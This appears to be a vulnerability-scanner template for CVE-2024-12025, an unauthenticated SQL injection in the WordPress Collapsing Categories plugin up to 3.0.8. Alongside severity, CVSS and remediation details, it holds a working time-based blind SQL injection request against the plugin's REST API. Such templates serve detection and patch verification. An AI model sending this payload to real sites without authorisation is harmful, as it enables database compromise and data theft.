WordPress Collapsing Categories <= 3.0.8 - SQL Injection

id: CVE-2024-12025

info:
  name: WordPress Collapsing Categories <= 3.0.8 - SQL Injection
  author: Shivam Kamboj
  severity: high
  description: |
    Collapsing Categories plugin for WordPress <= 3.0.8 contains a sql_injection caused by insufficient escaping of 'taxonomy' parameter in /wp-json/collapsing-categories/v1/get REST API, letting unauthenticated attackers execute arbitrary SQL queries, exploit requires sending crafted 'taxonomy' parameter.
  impact: |
    Attackers can execute arbitrary SQL queries, potentially leading to data leakage or database compromise.
  remediation: |
    Update to the latest version of the plugin that addresses this vulnerability or apply security patches provided by the vendor.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/collapsing-categories/collapsing-categories-308-unauthenticated-sql-injection
    - https://nvd.nist.gov/vuln/detail/CVE-2024-12025
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-12025
    epss-score: 0.02687
    epss-percentile: 0.85335
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2024,wordpress,wp,wp-plugin,sqli,collapsing-categories,vkev

http:
  - raw:
      - |
        @timeout: 20s
        GET /wp-json/collapsing-categories/v1/get?showPosts=1&taxonomy=category%27%29+AND+(SELECT+1+FROM+(SELECT(SLEEP(8)))a)--+- HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 8'
          - 'status_code == 200'
          - 'contains(body, "post_title")'
          - 'contains(content_type, "application/json")'
        condition: and
# digest: 490a0046304402202f9995d40b3d51ddf892b31689875b44f288738a368a8abaa7f39b787276619c02207b6a81fbc50de35d73b37ce43aa3272e8df4e6d5c658bb3ded344ce9c28e5ce8:922c64590222798bb761d5b6d8e72950